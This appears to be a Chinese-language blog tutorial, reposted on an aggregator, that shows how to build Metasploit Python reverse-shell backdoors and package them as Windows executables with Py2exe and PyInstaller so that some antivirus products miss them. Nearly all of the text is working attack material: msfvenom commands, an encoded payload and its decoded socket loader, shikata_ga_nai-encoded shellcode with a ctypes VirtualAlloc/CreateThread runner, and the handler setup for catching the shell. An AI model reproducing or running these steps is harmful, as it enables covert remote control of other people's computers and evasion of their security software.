python调用msf_MSF利用python反弹shell-Bypass AV
本文主要介紹兩種利用msf生成python版 payload,并利用Py2exe或PyInstaller將python文件轉(zhuǎn)為exe文件,可成功bypass某些AV反彈shell
msf-python反彈shell姿勢1
1) msfvenom生成python后門
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.20.131 LPORT=4444 -f raw -o /tmp/mrtp.py
生成的mrtp.py文件如下:
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjAuMTMxJyw0NDQ0KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')))
對其中的base64解碼為:
import socket,struct,time
for x in range(10):
try:
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('192.168.20.131',4444))
break
except:
time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)
d+=s.recv(l-len(d))
exec(d,{'s':s})
2)Py2exe將py后門轉(zhuǎn)為exe
python環(huán)境裝備
(1)安裝Python 2.7 x86 windows版:
https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi
*注意:必須使用x86版本Python 2.7。 即使Windows是x64的,也要安裝32位版本。 并且將python.exe添加到環(huán)境變量。
setup.py
setup.py 是利用Py2exe 將py轉(zhuǎn)為exe
#! /usr/bin/env python
# encoding:utf-8
from distutils.core import setup
import py2exe
setup(
name = "Meter",
description = "Python-based App",
version = "1.0",
console = ["mrtp.py"],
options = {"py2exe":{"bundle_files":1,"packages":"ctypes","includes":"base64,sys,socket,struct,time,code,platform,getpass,shutil",}},
zipfile = None
)
name、 description 、version是可選項
console = ["mrtp.py"] 表示生成控制臺程序 可bypass 某些AV
將mrtp.py和setup.py 兩個文件放到同一目錄下
執(zhí)行下面命令,即會在dist 目錄下生成mrtp.exe
python ./setup.py py2exe
3) MSF開啟監(jiān)聽&反彈shell
msf5 > use exploit/multi/handler
msf5 > set PAYLOAD python/meterpreter/reverse_tcp
msf5 > set LHOST 192.168.20.131
msf5 > set LPORT 4444
msf5 > run
點擊dist 目錄下的mrtp.exe,即可成功反彈shell
msf-python反彈shell姿勢2
1)msfvenom生成python shellcode
msfvenom -p windows/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.20.131 -e x86/shikata_ga_nai -i 11 -f py -o /tmp/mytest.py
2) myshellcode.py
將上面生成的shellcode復(fù)制到myshellcode.py中
#! /usr/bin/env python
# encoding:utf-8
import ctypes
def execute():
# Bind shell
shellcode = bytearray(
"\xbe\x24\x6e\x0c\x71\xda\xc8\xd9\x74\x24\xf4\x5b\x29"
"\xc9\xb1\x99\x31\x73\x15\x03\x73\x15\x83\xeb\xfc\xe2"
……………………省略一部分…………………………
"\xd1\xb4\xdb\xa8\x6d\x6d\x10\x17\x33\xf9\x2c\x93\x2b"
"\x0b\xcb\x94\x1a\xd9\xfd\xc7\x78\x26\xb3\x57\xea\x6d"
"\x37\xa5\x48\xea\x47\xf6\x81\x90\x07\xc6\x62\x9a\x56"
"\x13"
)
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),
ctypes.c_int(-1))
if __name__ == "__main__":
execute()
3)PyInstaller將py轉(zhuǎn)為exe
pyinstaller同樣可以將.py程序打包成windows下可以執(zhí)行的exe文件。
pyinstaller依賴于pywin32,在使用pyinstaller之前,應(yīng)先安裝pywin32
pyinstaller.py -F --console myshellcode.py
--console表示生成控制臺程序,可bypass某些AV
4) MSF開啟監(jiān)聽&反彈shell
msf5 > use exploit/multi/handler
msf5 > set PAYLOAD windows/meterpreter/reverse_tcp
msf5 > set LHOST 192.168.20.131
msf5 > set LPORT 4444
msf5 > run
點擊dist 目錄下的myshellcode.exe,即可成功反彈shell
本文只是簡單介紹方法、拋磚引玉,當(dāng)然還有很多可以優(yōu)化改進(jìn)的地方,大家可再完善。
參考
總結(jié)
以上是生活随笔為你收集整理的python调用msf_MSF利用python反弹shell-Bypass AV的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 中邮保险怎么退保险
- 下一篇: winform响应时间最长是多少分钟_史